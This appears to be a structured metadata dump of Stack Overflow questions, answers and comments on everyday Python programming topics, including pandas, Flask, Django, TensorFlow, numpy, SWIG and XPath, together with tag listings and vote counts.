True 0.3 features_full = features.merge(features_three, how='left', right_index=True, left_index=True) features_full.compute() Result is: Out[53]: Empty DataFrame Columns: [feature_one, feature_two, feature_three] Index: [] But feature…
tagged with: python

http://stackoverflow.com/q/49526163
score: 0
tagged with: alexa-skills-kit
answer count: 1
has body: I have a conversation like: Alexa: Do you want to go to a movie? User: No Alexa : Can I help you with anything else? User: No Alexa: Okay, until next time. Something like this: if intent_name == "AMAZON.NoIntent": return no_response(session_attributes) def no_response(session_attributes): if session_attributes is None: card_title = "NO RESPONSE" speech_output = "Okay. Do you want me to help with anything else?" reprompt_text = "Sorry. Can you repeat that again, please?" should_end_session = False session_attributes['myorder']='first' else: card_title = "NO RESPONSES" speech_output = "Thankyou." reprompt_text = "Sorry. Can you repeat that again, please?" should_end_session = True return build_response(session_attributes, build_speechlet_response( card_title, speech_output, reprompt_text, should_end_session)) How to enable alexa to provide different responses for different No ??
tagged with: aws-lambda
type: Question
has answer: http://stackoverflow.com/a/49526362
has title: How to use Amazon.NoIntent if I have to handle multiple 'No' utterances
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/a/75448280
type: Answer
has body: Too complicated. The solution is this one: widgets = { 'date_field': forms.DateInput(attrs={'format': 'yyyy-mm-dd','type':'date'}), }
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/49440853
score: 1

http://stackoverflow.com/comment/86195769
has text: Try: `return x if seq.count(x) % 2 == 1 else None`. It reads as: `return (x if seq.count(x) % 2 == 1 else None)` Remember that if a function doesn't return anything it returns `None` by default. If you use a ternary operator you have to make this explicit.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49594124

http://stackoverflow.com/q/49499683
linked to: http://stackoverflow.com/q/75306422
accepted answer: http://stackoverflow.com/a/49500907
linked to: http://stackoverflow.com/q/38023521
has answer: http://stackoverflow.com/a/49500907
favorite count: 0
type: Question
tagged with: swig
linked to: http://stackoverflow.com/q/50024581
has body: I'm new to using SWIG and a bit out of my depth as a programmer. I would like to be able to call the functions of a C++ class in python 2 by importing the wrapped class as a module 'import C++_file' and then call it within my python class with something like 'C++_file.function(inputs)'. Following http://intermediate-and-advanced-software-carpentry.readthedocs.io/en/latest/c++-wrapping.html, I am wrapping the header file multiplyChannel.h: #include &lt;vector&gt; #include &lt;complex&gt; using namespace std; class MultiplyChannel { public: MultiplyChannel(double in_alpha); void applyToVector(vector&lt;complex&lt;double&gt; &gt; *in_signal); private: double alpha; }; which corresponds to my example C++ file multiplyChannel.cpp: #include "multiplyChannel.h" #include &lt;vector&gt; #include &lt;complex&gt; using namespace std; MultiplyChannel::MultiplyChannel(double in_alpha){ this-&gt;alpha = in_alpha; } void MultiplyChannel::applyToVector(vector&lt;complex&lt;double&gt; &gt; *in_signal){ unsigned int size = in_signal-&gt;size(); for (int i = 0; i &lt; size; i++) { in_signal-&gt;at(i).real() = in_signal-&gt;at(i).real() * this-&gt;alpha; in_signal-&gt;at(i).imag() = in_signal-&gt;at(i).imag() * this-&gt;alpha; } } With the makefile: all: swig -python -c++ -o mult.cpp swigdemo.i python setup.py build_ext --inplace the wrapper file swigdemo.i: %module swigdemo %{ #include &lt;stdlib.h&gt; #include "multiplyChannel.h" %} %include "multiplyChannel.h" and setup.py build file: from distutils.core import setup, Extension extension_mod = Extension("_swigdemo", ["mult.cpp"]) setup(name = "swigdemo", ext_modules=[extension_mod]) by typing in my Ubuntu command window: $ make swig -python -c++ -o multiplyChannel.cpp swigdemo.i python setup.py build_ext --inplace running build_ext $ python setup.py build running build running build_ext Testing the import using C++_tester.py, I try to multiply the vector [1, 2, 3] into [5, 10, 15] using the MultiplyChannel object 'demo' with instanc…
tagged with: ubuntu-16.04
tagged with: python
score: 4
linked to: http://stackoverflow.com/q/50938128
upvote count: 4
tagged with: c++
type: AnsweredQuestion
has title: Wrapping a C++ file as a Python file using SWIG
linked to: http://stackoverflow.com/q/36127987
linked to: http://stackoverflow.com/q/47276327
answer count: 1
downvote count: 0

http://stackoverflow.com/a/49458402
downvote count: 0
upvote count: 7
score: 7
has comment: http://stackoverflow.com/comment/130312523
has comment: http://stackoverflow.com/comment/85919866
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49458297
type: Answer
has body: If you need 3 bins , then you need 4 break.. test = [x for x in range(0,100)] a = pd.DataFrame(test) np.percentile(a, [0,20, 80,100]) Out[527]: array([ 0. , 19.8, 79.2, 99. ]) pd.cut(a[0], np.percentile(a[0], [0,20, 80,100])) Also, in pandas we have qcut , which means you do not need get the bin from numpy pd.qcut(a[0],[0,0.2,0.8,1])
answers question: http://stackoverflow.com/q/49458297

http://stackoverflow.com/comment/85963621
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/49478120
has text: either use `python setup.py bdist_wheel` or `python -m setup bdist_wheel` as suggested [here](https://stackoverflow.com/a/36230538/3663254)
type: Comment

http://stackoverflow.com/q/49554956
has title: AttributeError: 'NoneType' object has no attribute 'attrs'
has answer: http://stackoverflow.com/a/49555013
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49555097
linked to: http://stackoverflow.com/q/23828115
has comment: http://stackoverflow.com/comment/86117344
accepted answer: http://stackoverflow.com/a/49555106
tagged with: python
has answer: http://stackoverflow.com/a/49555106
upvote count: 4
type: AnsweredQuestion
score: 0
downvote count: 4
answer count: 3
has comment: http://stackoverflow.com/comment/86125404
has body: I am new to python. Please help me with this error. AttributeError: 'NoneType' object has no attribute 'attrs' from bs4 import BeautifulSoup import urllib2 import requests url = 'https://www.justdial.com/Pune/Event-Organisers/nct-10194150' req = urllib2.Request(url, headers={'User-Agent' : "Magic Browser"}) page = urllib2.urlopen(req).read() soup = BeautifulSoup(page,'html.parser') for h in soup.findAll('h2'): a = h.find('a') if 'href' in a.attrs: l = a.get('href') print l
possible better answer: http://stackoverflow.com/a/49555013

http://stackoverflow.com/comment/86187358
score: 0
type: AnswerComment
has text: for higher accuracy you shouldn't limit your optimizer in the way you did!!! just use 'opt = optimizers.Adam()' which pushed my accuracy to 84%. All the data you have is just in numeric form, how do you expect to extract a text form?
type: Comment
comment on: http://stackoverflow.com/a/49586510

http://stackoverflow.com/q/49493354
has answer: http://stackoverflow.com/a/49510646
has title: Unable to solve validation error in flask
upvote count: 2
tagged with: flask-wtforms
type: UnansweredQuestion
tagged with: wtforms
answer count: 1
tagged with: flask
downvote count: 1
favorite count: 0
type: Question
has body: I am a newbie into flask development.I am facing a peculiar validation error in Flask . My main code is as follows : from flask import Flask,render_template,redirect,url_for,session,request from flask_wtf import FlaskForm from wtforms.validators import InputRequired from wtforms import TextAreaField,SelectField,StringField app = Flask(__name__) app.config['SECRET_KEY'] = 'MySecret!' def get_choices(): names = [ (1,"George"), (2,"Musk"), (3,"Stevens") ] return names @app.route('/',methods=["GET","POST"]) def index(): class TestForm(FlaskForm): name = StringField("Name",validators=[InputRequired()]) lastname = SelectField("Lastname",choices=get_choices()) t = TestForm() if request.method == "POST": if t.validate_on_submit(): name = t.name.data lastname = t.lastname.data return " {} and {} ".format(name,lastname) else: return "Validation Failed !!" return render_template('index.html',form=t) if __name__ == "__main__": app.run(debug=True) The code for my index.html is as follows : Index form {{ form.csrf_token }} {{ form.name.label }} {{ form.name }} {{ form.lastname.label }} {{ form.lastname }} Every time i submit the form i get the form not validated message . I am not sure where i am going wrong. I have to deliberately keep the class definition inside the route function so that i can emulate a run time situation in which i am not sure of the from contents until runtime. Please guide me where the issue is, also can someone give me some hint on is there a way to debug validation errors like the above in Flask ? Thanks in advance.
score: 1
tagged with: python
has comment: http://stackoverflow.com/comment/86024788

http://stackoverflow.com/comment/85882390
type: Comment
has text: what is the size and weight of the image? Have you tried with other images of different sizes, weights and qualities?
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49439987

http://stackoverflow.com/q/49482203
type: Question
has answer: http://stackoverflow.com/a/49482705
answer count: 1
tagged with: python
type: AnsweredQuestion
score: 0
tagged with: conv-neural-network
has body: The infamous: *InvalidArgumentError (see above for traceback): You must feed a value for placeholder tensor 'Placeholder_1' with dtype float and shape [100,8] [[Node: Placeholder_1 = Placeholder[dtype=DT_FLOAT, shape=[100,8], _device="/job:localhost/replica:0/task:0/device:GPU:0"]()]]* I've been training a CNN for awhile now. I've had separate python scripts for the training and evaluation method, and wanted to combine them. I want the network to train for N iterations, then run an evaluation, check if the model is better than any previous models, save if so, then resume training. Since combining them, the network will train, but once it enters the "validation" part of the loop, it fails at the sess.run where I must feed_dict the validation data. There are some debugging print("hi")s in the sess.run, the error appears on the line after the 3rd, but before the 4th "hi". This is where the feed_dict occurs for the validation data. I've tried using both just the one graph, and also constructing a separate graph with it's own v_image_out, v_label_out, etc with no avail. I've been struggling with this error for days, changing so many things. Any help is greatly appreciated. The code has been modified to fit my purposes from this github: https://github.com/yeephycho/tensorflow_input_image_by_tfrecord/blob/master/src/flower_train_cnn.py *EDIT: The precise line it calls the error is: File "train_cnn_4_pools.py", line 295, in train v_accuracy_out, v_logits_batch_out, v_summary = sess.run( [accuracy, logits_batch, merged_summary_op], feed_dict={image_batch_placeholder: v_image_out, label_tensor_placeholder: `v_label_out})` Caused by: File "train_cnn_4_pools.py", line 317, in &lt;module&gt; train() File "train_cnn_4_pools.py", line 226, in train label_batch_placeholder = tf.placeholder(tf.float32, shape=[BATCH_SIZE, NUM_CLASSES]) This is extremely strange because I am calling the label_tensor_placeholder in the validation loop where it is failing. Not the label_batch_placeholde…
has comment: http://stackoverflow.com/comment/85968260
has title: Second feed_dict in sess.run(), Evaluation while training
accepted answer: http://stackoverflow.com/a/49482705
tagged with: tensorflow

http://stackoverflow.com/q/49470124
tagged with: windows
tagged with: path
has body: I've created an app that works locally and I would like to deploy it to Heroku. As I deploy it I get error in the Heroku logs about not finding the folders that I specified in my script(as expected, they are absolute paths). I am trying to make changes but none of them work. I am using flask for the server side. I tried using all of the os.path functions but I can't get it to work. I am also using Windows if it changes anything (I think it should because it goes into the Heroku Server) The architecture system basically loos like this: MonKeyGenerator └── src └── MonkeyGenerator.py └── server ├── static └── Images └── MonKeys └── server.py Some examples: this line is in server.py does not work anymore (needs to find the src folder) dir_of_interest = 'C:\\Users\\user\\PycharmProjects\\MonKeyGenerator\\src' Also this line is in MonKeyGenerator.py does not work because it needs to find a deep folder named 'MonKeys' inside the server folder output_img = os.path.join("C:\\Users\\user\\PycharmProjects\\MonKeyGenerator\\server\\static\\images\\MonKeys", image_name)
downvote count: 0
tagged with: python
tagged with: flask
tagged with: deployment
type: AnsweredQuestion
score: 2
accepted answer: http://stackoverflow.com/a/49471006
has answer: http://stackoverflow.com/a/49471006
answer count: 1
has title: Changing absolute path to relative paths due to web deployment (Python - Flask)
has comment: http://stackoverflow.com/comment/85942837
favorite count: 0
type: Question
upvote count: 2

http://stackoverflow.com/a/49470866
has comment: http://stackoverflow.com/comment/85945304
type: Answer
has body: The issue is you don't expose the port in Dockerfile. Add EXPOSE 8000 in Dockerfile before CMD For Example: FROM python:3 RUN easy_install pip RUN pip install django==1.9.12 RUN pip install requests ADD . /. WORKDIR /django.testsite EXPOSE 8000 CMD ["python", "manage.py", "runserver", "0.0.0.0:8000"] For more info https://docs.docker.com/engine/reference/builder/#expose
has comment: http://stackoverflow.com/comment/85945427
has comment: http://stackoverflow.com/comment/85945457
has comment: http://stackoverflow.com/comment/85945473
has comment: http://stackoverflow.com/comment/85944915
answers question: http://stackoverflow.com/q/49470509
has comment: http://stackoverflow.com/comment/85944686
has comment: http://stackoverflow.com/comment/85944989
score: 0

http://stackoverflow.com/q/49553674
has title: How to pip install package without building its' C extensions?
type: UnansweredQuestion
answer count: 1
score: 6
tagged with: pip
has body: Is it possible to pip install package which provides optional C-extension, but specifically disable process of compiling those extensions? Sample examples of such packages are: _speedups in markupsafe _posixsubprocess32 in subprocess32
upvote count: 7
tagged with: setuptools
downvote count: 1
has comment: http://stackoverflow.com/comment/139456983
tagged with: python
has answer: http://stackoverflow.com/a/49558438
tagged with: python-c-api
favorite count: 0
type: Question

http://stackoverflow.com/a/49599792
type: Answer
accepted answer of: http://stackoverflow.com/q/49597958
score: 0
has body: please do not consider this as an answer, it is for showing you my code when running the stuff in python 3.x (your timeit usage did not work at all for me, i assumed it is 2.x). Sorry but i dont have the time to look into it deeply now. [EDIT] on a spinning drive, consider disk cache: do not access the same files in different tests or just switch the order of your tests to see if disk cache is involved Using the following code, changing manually the numProcesses=X argument, i got these results: On SSD, 0.31 seconds for 1000 sequential and 0.37 seconds for 1000 paralell with 1 thread, 0.23 1000 paralell using 4 threads import os import random import timeit from multiprocessing import Pool from contextlib import closing os.chdir('c:\\temp\\') def putfiles(numFiles=5, numCount=1): #numFiles = int(input("how many files?: ")) #numCount = int(input('How many random numbers?: ')) for num in range(numFiles): #print("num: " + str(num)) with open('r' + str(num) + '.txt', 'w') as f: f.write("\n".join([str(random.randint(1, 100)) for i in range( numCount )])) #print ("pufiles done") def readFile(fileurl): with open(fileurl, 'r') as f, open("ans_" + fileurl, 'w') as fw: fw.write(str((sum([int(i) for i in f.read().split()])))) def getSequential(numFiles=10000): # print ("getSequential, nufile: " + str (numFiles)) #in1 = int(input("how many files?: ")) for num in range(numFiles): #print ("getseq for") (readFile('r' + str(num) + '.txt')) #print ("getSequential done") def getParallel(numFiles=10000, numProcesses=1): #numFiles = int(input("how many files?: ")) #numProcesses = int(input('How many processes?: ')) #readFile, ['r' + str(num) + '.txt' for num in range(numFiles)] #with Pool(10) as p: with closing(Pool(processes=1)) as p: p.map(readFile, ['r' + str(num) + '.txt' for num in range(numFiles)]) if __name__ == '__main__': #putfiles(numFiles=10000, numCount=1) print (timeit.timeit ("getSequential()","from __main__ import getSequential",number=1)) print (timeit.timeit ("getParalle…
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49597958

http://stackoverflow.com/q/49569016
tagged with: jupyter-notebook
answer count: 2
linked to: http://stackoverflow.com/q/48090119
has answer: http://stackoverflow.com/a/49685911
downvote count: 0
has title: GraphLab Create sFrame.show() function error when executing
score: 1
upvote count: 1
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/53416856
has body: I've installed GraphLab Create using Anaconda. Everything seems to be fine with SFrames, I can manipulate data and ingest it but I can't execute the function show(). The error message is like this: Error: Requested port is unavailable inspect.pyc in find_vars(var) 42 (variable_name, variable) = _find_variable_name(var) 43 if variable_name is not None: ---&gt; 44 target.add_variable((variable_name,), variable) 45 return variable_name 46 AttributeError: 'NoneType' object has no attribute 'add_variable' Also, I tried to instead change the target of the canvas to the notebook itself cause the port thing might have caused the problem, but the error when I execute graphlab.canvas.set_target('ipynb') is this: util.pyc in __new__(cls, *args, **kwargs) 310 # singleton magic. If we get rid of that we can switch to __init__ 311 # here too. --&gt; 312 instance.initialize(*args, **init_kwargs) 313 return instance 314 TypeError: initialize() got an unexpected keyword argument 'io_loop' Here's the specs of my environment: Python: 2.7 OS: Windows 10 Jupyter Notebook: 5.4.1 Anaconda: 4.3.30 GraphLab: 2.1 EDIT: Added the error message on top of the stack trace which is Error: Requested port is unavailable
tagged with: graphlab

http://stackoverflow.com/comment/86063880
score: 0
comment on: http://stackoverflow.com/q/49528994
type: Comment
type: QuestionComment
has text: `unicode()` can convert normal characters but no escaped chars. You need to write/use a other/own converter if want to transform is firtly to normal chars and then to unicode.

http://stackoverflow.com/comment/86131269
type: AnswerComment
has text: I'm wondering why, in your original code, you succeeded to click on the first link but not on the second. Are you sure about that? After navigating to the URL immediately two windows are opening which have to be closed before you can interact with the maine frame. That's what the code about which is executed before the click on the first link.
type: Comment
comment on: http://stackoverflow.com/a/49558291
score: 0

http://stackoverflow.com/comment/86211769
score: 0
type: Comment
type: QuestionComment
has text: Apparently I had been using matplotlib 2.1.2 instead of the current 2.2.2 release. After figuring out how to get Anaconda Navigator to update libraries I am now getting the desired white background in the file created by savefig(). Thank you so much!
comment on: http://stackoverflow.com/q/49593054

http://stackoverflow.com/q/49539392
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/86087008
has answer: http://stackoverflow.com/a/49541011
has comment: http://stackoverflow.com/comment/86086241
type: AnsweredQuestion
upvote count: 0
has comment: http://stackoverflow.com/comment/86087754
answer count: 1
downvote count: 1
has title: Force F() expression to return a model instance rather than a primary key
has comment: http://stackoverflow.com/comment/86086408
accepted answer: http://stackoverflow.com/a/49541011
tagged with: django-tables2
has comment: http://stackoverflow.com/comment/86087960
has comment: http://stackoverflow.com/comment/86086442
has body: In the documentation, is there a way to override this behavior? i.e. I want car.built_by to return a model instance i.e. &lt;Manufacturer: Toyota&gt; rather than a primary key since I need to maintain the foreign key relationship while annotating. Update: I'm currently developing a basketball stats website. I have the following models: # models.py class Game(models.Model): league = models.ForeignKey('League', ...) tournament = models.ForeignKey('Tournament', ...) home_team = models.ForeignKey('Team',...) away_team = models.ForeignKey('Team',...) home_pts = models.IntegerField() away_pts = models.IntegerField() class Team(models.Model): team_name = models.CharField() team_code = models.CharField() team_nickname = models.CharField() def __str__(self): return f'{self.team_name} {self.team_nickname}' I'm using django-tables2 to populate the table of a Team's schedule for a particular tournament. So I do the following query: Game.objects.filter(tournament_id=/insert_tournament_id_here/).filter(Q(home_team_id=self.id) | Q(away_team_id=self.id)) that gives me the Games of the Team. My problem is that when I'm populating the views.py of the team schedule, I want it to be "Opponent" rather than "Home Team" and "Away Team". So I decided to do this: Team_Game_Queryset.annotate(opponent=Case(When(home_team=/team_id/, then=F('away_team')), default=F('home_team'), output_field=ForeignKey('myapp.Team')) my problem is that, the annotated column "opponent" isn't a ForeignKey reference for the Team model, so I can't use the str representation of the object. I was able to do this by converting the QuerySet into a pandas DataFrame and then returning a dictionary (which is an easy read into django-tables2). But I always prefer to return a QuerySet to django-tables rather than a dict, and I was wondering if there was any way to overwrite the F() behavior, or if there's any other way to do this using QuerySets.
favorite count: 0
type: Question
tagged with: django

http://stackoverflow.com/a/49472842
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/49472835
answers question: http://stackoverflow.com/q/49472835
upvote count: 4
score: 4
has comment: http://stackoverflow.com/comment/85948325
type: AcceptedAnswer
has body: I think need set_index and maybe convert to datetimes, because KeyError means there is no value 2015-08-17 in index: #check if DatetimeIndex print (df_temp.index) #if necessary convert column to index df_temp.set_index('date',inplace=True) #if necessary convert to datetimes df_temp.index= pd.to_datetime(df_temp.index) loc = df_temp.index.get_loc('2015-08-17')
has comment: http://stackoverflow.com/comment/85948365

http://stackoverflow.com/a/49447166
score: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/85896857
answers question: http://stackoverflow.com/q/49446923
type: Answer
has comment: http://stackoverflow.com/comment/85896321
upvote count: 2
has body: I prefer using pandas alone to do this instead of introducing numpy: df4['column3'] = df4'gender', 'name'.apply(lambda x: x[0] if x[0] else x[1], axis=1)
has comment: http://stackoverflow.com/comment/85896409

http://stackoverflow.com/q/49563822
type: Question
has answer: http://stackoverflow.com/a/49563951
has comment: http://stackoverflow.com/comment/86135794
tagged with: python
linked to: http://stackoverflow.com/q/49564776
possible better answer: http://stackoverflow.com/a/49563951
tagged with: xpath
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/6751105
accepted answer: http://stackoverflow.com/a/49563960
answer count: 2
has title: Xpath. How to select all text between two tags?
has comment: http://stackoverflow.com/comment/86135812
has answer: http://stackoverflow.com/a/49563960
score: 1
downvote count: 0
upvote count: 1
has body: Here is the HTML source code │Лабораторные методы исследования │ ├────────────┬───────────────────────────┬─────────────────┬──────────────┤ I need to get all text in between the two tags. Here's what I tried: response.xpath('//pre//text()[preceding-sibling::a[@name="dst100030"] and following-sibling::a[@name="dst100031"]]') But it returns empty list. Where am I wrong?
favorite count: 0

http://stackoverflow.com/a/49540829
accepted answer of: http://stackoverflow.com/q/49540703
type: Answer
answers question: http://stackoverflow.com/q/49540703
has body: This should help. You just need to create a list comprehension within the list comprehension. res = np.array([[ss_dict[j] for j in i] for i in l]) Result: [[[1 0 0 0 0 0] [0 1 0 0 0 0] [0 0 1 0 0 0]] [[0 0 0 1 0 0] [0 0 0 0 1 0] [0 0 0 0 0 1]]]
has comment: http://stackoverflow.com/comment/86116444
downvote count: 0
upvote count: 1
score: 1
type: AcceptedAnswer

http://stackoverflow.com/q/49480884
type: Question
tagged with: numpy
tagged with: arrays
downvote count: 0
answer count: 1
upvote count: 1
tagged with: python
tagged with: boolean-logic
favorite count: 0
accepted answer: http://stackoverflow.com/a/49481106
tagged with: coding-style
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49481106
has comment: http://stackoverflow.com/comment/85964869
score: 1
has title: Extract values from a 2D matrix based on the values of one column
has body: I have a 2D numpy array "X" with m rows and n columns. I am trying a extract a sub-array when the values of the column r fall in a certain range. Right now I have implemented this by looping through each and every row, which as expected is really slow. What is the simpler way to do this in python? for j in range(m): if ((X[j,r]&gt;=lower1) &amp; (X[j,r]&lt;=upper1)): count=count+1 if count==1: X_subset=X[j,:] else: X_subset=np.vstack([X_subset,X[j,:]]) For example: X=np.array([[10,3,20], [1,1,25], [15,4,30]]) I want to get the subset of this 2D array if the values of second column are in the range 3 to 4 (r=1, lower1=3, upper1=4). The result should be: [[ 10 3 20] [ 15 4 30]]

http://stackoverflow.com/a/61159817
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/49508693
has body: I write a (draft) module to open Dialog box see: https://github.com/Micronaet/micronaet-sales/tree/master/confirm_dialog_wizard In your button you can write this code to open, for ex. to hide a product: @api.multi def hide_product_pricelist(self): """ Hide product """ return self.env['dialog.box.wizard'].open_dialog( message='The product will be hided, you cannot use again ' 'but remain in sale order where yet present, ' 'confirm?', action='self.env["product.product"].browse(%s).write(' '{"active": False})' % self.id, title='Confirm request:', mode='cancel_confirm', ) The program will pop up a window to confirm (as in tree you cannot use "confirm" message parameter), I'm try to do better but ... its a begin ... :)
downvote count: 0
score: 1

http://stackoverflow.com/a/49520758
has comment: http://stackoverflow.com/comment/86047308
has comment: http://stackoverflow.com/comment/86047615
has comment: http://stackoverflow.com/comment/86048294
answers question: http://stackoverflow.com/q/49520629
has comment: http://stackoverflow.com/comment/86047264
has body: We could simply reshape to basically split into rows of such groups and hence sum each row for the desired output, like so - np.reshape(L,(num_bins,-1)).sum(1) For arrays with lengths not necessarily divisible by the number of bins - def sum_groups(L, num_bins): n = len(L) grp_len = int(np.ceil(n/float(num_bins))) b = int(n%num_bins!=0) lim = grp_len*(num_bins-b) p0 = np.reshape(L[:lim],(-1,grp_len)).sum(1) if b!=0: p1 = np.sum(L[lim:]) return np.r_[p0,p1] else: return p0 Bringing in np.einsum for cases when the binned summations are within the input array dtype precision - def sum_groups_einsum(L, num_bins): n = len(L) grp_len = int(np.ceil(n/float(num_bins))) b = int(n%num_bins!=0) lim = grp_len*(num_bins-b) p0 = np.einsum('ij-&gt;i',np.reshape(L[:lim],(-1,grp_len))) if b!=0: p1 = np.einsum('i-&gt;',L[lim:]) return np.r_[p0,p1] else: return p0 Benchmarking Following closely the OP's timing setup - In [404]: # Setup ...: np.random.seed(0) ...: L = np.random.randint(0,high = 6, size = 10000000) ...: b = 20 In [405]: %timeit sum_groups(L, num_bins=b) ...: %timeit sum_groups_einsum(L, num_bins=b) ...: %timeit np.array([t.sum() for t in np.array_split(L, b)]) ...: %timeit np.add.reduceat(L, np.linspace(0.5, L.size+0.5, b, False, dtype=int)) 100 loops, best of 3: 6.2 ms per loop 100 loops, best of 3: 6 ms per loop 100 loops, best of 3: 6.25 ms per loop # @user2699's soln 100 loops, best of 3: 6.19 ms per loop # @Paul Panzer's soln For the case when the array length is not divisible by the number of bins, let's have few more elements in the input array to achieve the same - In [406]: # Setup ...: np.random.seed(0) ...: L = np.random.randint(0,high = 6, size = 10000012) ...: b = 20 In [407]: %timeit sum_groups(L, num_bins=b) ...: %timeit sum_groups_einsum(L, num_bins=b) ...: %timeit np.array([t.sum() for t in np.array_split(L, b)]) ...: %timeit np.add.reduceat(L, np.linspace(0.5, L.size+0.5, b, False, dtype=int)) 100 loops, best of 3: 6.45 ms per loop 100 loops, best of 3…
type: Answer
has comment: http://stackoverflow.com/comment/86048762
has comment: http://stackoverflow.com/comment/86047716
accepted answer of: http://stackoverflow.com/q/49520629
upvote count: 4
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86048128
score: 4

http://stackoverflow.com/comment/86020499
type: QuestionComment
has text: You'll need to show your unit testing code, it's not clear if/how you call the function
type: Comment
comment on: http://stackoverflow.com/q/49508161
score: 0

http://stackoverflow.com/q/49518335
accepted answer: http://stackoverflow.com/a/49518536
favorite count: 0
type: Question
tagged with: ajax
has answer: http://stackoverflow.com/a/49518536
tagged with: django
tagged with: python
has title: Ajax call to a django view is returning an array of strings
type: AnsweredQuestion
score: 1
has body: I am new django and ajax and i am trying to send a post request to django view when a user clicks on a button in my html page. The django view has to return a json object when I tried to do that it gives me an error saying TypeError: Object of type 'QuerySet' is not JSON serializable How can we send an Object type serializable in django. Manage_project.html {% csrf_token %} Project Name Manage the employees list: Check the boxes to remove employees: {% for employee in employees_could_add.all %} {{employee}} {% endfor%} Add Employees {% for employee in project.employees.all %} {{employee}} {% endfor%} Delete ajaxcalls.js $(document).ready(function() { //alert("hi") $('#my_form').submit(function(e) { // catch the form's submit event // e.preventDefault() //console.log($(this)) $.ajax({ // create an AJAX call... data: $(this).serialize() + '&perform='+$('button').val(), // get the form data type: $(this).attr('method'), // GET or POST dataType: "json", url: $(this).attr('action'), // the file to call success: function(data){ console.log(data); }, error:function(data){ console.log('error') console.log(data) } }); return false; }); }); views.py if request.POST['perform'] == 'Add': employee_ids = request.POST.getlist('employees_inproject') project_id = request.POST['project_id'] project = Project.objects.filter(id=project_id)[0] for e_id in employee_ids: emp = Profile.objects.filter(id=e_id)[0] project.employees.add(emp) employees = Profile.objects.all() employees_inproject = project.employees.all() employees_could_add = employees.difference(employees_inproject) print(1, employees_could_add) data = { 'employees_could_add' : employees_could_add, 'project' : project } print(data['employees_could_add']) #return JsonResponse( model_to_dict(data) ) return HttpResponse(json.dumps({'data': data}), content_type="application/json") stack trace `[27/Mar/2018 11:41:14] "GET /supervisor/manageproject/?project_id=10& manage_project=Manage+Project HTTP/1.1" 200 2902 <QueryDict: {'csrfm…
answer count: 1
downvote count: 0
upvote count: 1

dictionary
tags question: http://stackoverflow.com/q/49591240
tags question: http://stackoverflow.com/q/49487085
tags question: http://stackoverflow.com/q/49500556
tags question: http://stackoverflow.com/q/49525777
tags question: http://stackoverflow.com/q/49490803
tags question: http://stackoverflow.com/q/49521810
tags question: http://stackoverflow.com/q/49553653
tags question: http://stackoverflow.com/q/49590846
tags question: http://stackoverflow.com/q/49449408
tags question: http://stackoverflow.com/q/49460580
tags question: http://stackoverflow.com/q/49596548
tags question: http://stackoverflow.com/q/49551301
tags question: http://stackoverflow.com/q/49592557
tags question: http://stackoverflow.com/q/49587941
tags question: http://stackoverflow.com/q/49567180
tags question: http://stackoverflow.com/q/49557776
tags question: http://stackoverflow.com/q/49571515
tags question: http://stackoverflow.com/q/49571794
tags question: http://stackoverflow.com/q/49503259
tags question: http://stackoverflow.com/q/49587961
tags question: http://stackoverflow.com/q/49597963
tags question: http://stackoverflow.com/q/49450881
tags question: http://stackoverflow.com/q/49508597
tags question: http://stackoverflow.com/q/49522001
tags question: http://stackoverflow.com/q/49506818
tags question: http://stackoverflow.com/q/49544353
tags question: http://stackoverflow.com/q/49590484
tags question: http://stackoverflow.com/q/49558140
tags question: http://stackoverflow.com/q/49490696
tags question: http://stackoverflow.com/q/49590180
tags question: http://stackoverflow.com/q/49583135
tags question: http://stackoverflow.com/q/49525016
tags question: http://stackoverflow.com/q/49540703
tags question: http://stackoverflow.com/q/49542962
tags question: http://stackoverflow.com/q/49579362
tags question: http://stackoverflow.com/q/49582023
tags question: http://stackoverflow.com/q/49506266
tags question: http://stackoverflow.com/q/49584044
tags question: http://stackoverflow.com/q/49444134
tags question: http://stackoverflow.com/q/49528668
tags question: http://stackoverflow.com/q/49571132
tags question: http://stackoverflow.com/q/49491511
tags question: http://stackoverflow.com/q/49573396
tags question: http://stackoverflow.com/q/49484145
tags question: http://stackoverflow.com/q/49460858
tags question: http://stackoverflow.com/q/49555779
tags question: http://stackoverflow.com/q/49545251
tags question: http://stackoverflow.com/q/49586986
tags question: http://stackoverflow.com/q/49578565
tags question: http://stackoverflow.com/q/49462071
tags question: http://stackoverflow.com/q/49599075
tags question: http://stackoverflow.com/q/49588587
tags question: http://stackoverflow.com/q/49444511
tags question: http://stackoverflow.com/q/49560246
tags question: http://stackoverflow.com/q/49468728
tags question: http://stackoverflow.com/q/49522858
tags question: http://stackoverflow.com/q/49446971
tags question: http://stackoverflow.com/q/49598588
tags question: http://stackoverflow.com/q/49449297
tags question: http://stackoverflow.com/q/49480281
type: Tag
tags question: http://stackoverflow.com/q/49519560
tags question: http://stackoverflow.com/q/49440016
tags question: http://stackoverflow.com/q/49541231
tags question: http://stackoverflow.com/q/49587431
tags question: http://stackoverflow.com/q/49573374
tags question: http://stackoverflow.com/q/49499444
tags question: http://stackoverflow.com/q/49584441
tags question: http://stackoverflow.com/q/49523754
tags question: http://stackoverflow.com/q/49507733
tags question: http://stackoverflow.com/q/49496986
tags question: http://stackoverflow.com/q/49474126
tags question: http://stackoverflow.com/q/49594729
tags question: http://stackoverflow.com/q/49583913
tags question: http://stackoverflow.com/q/49460426
tags question: http://stackoverflow.com/q/49505335
tags question: http://stackoverflow.com/q/49578073
tags question: http://stackoverflow.com/q/49519912
tags question: http://stackoverflow.com/q/49595029
tags question: http://stackoverflow.com/q/49479432

http://stackoverflow.com/a/49527462
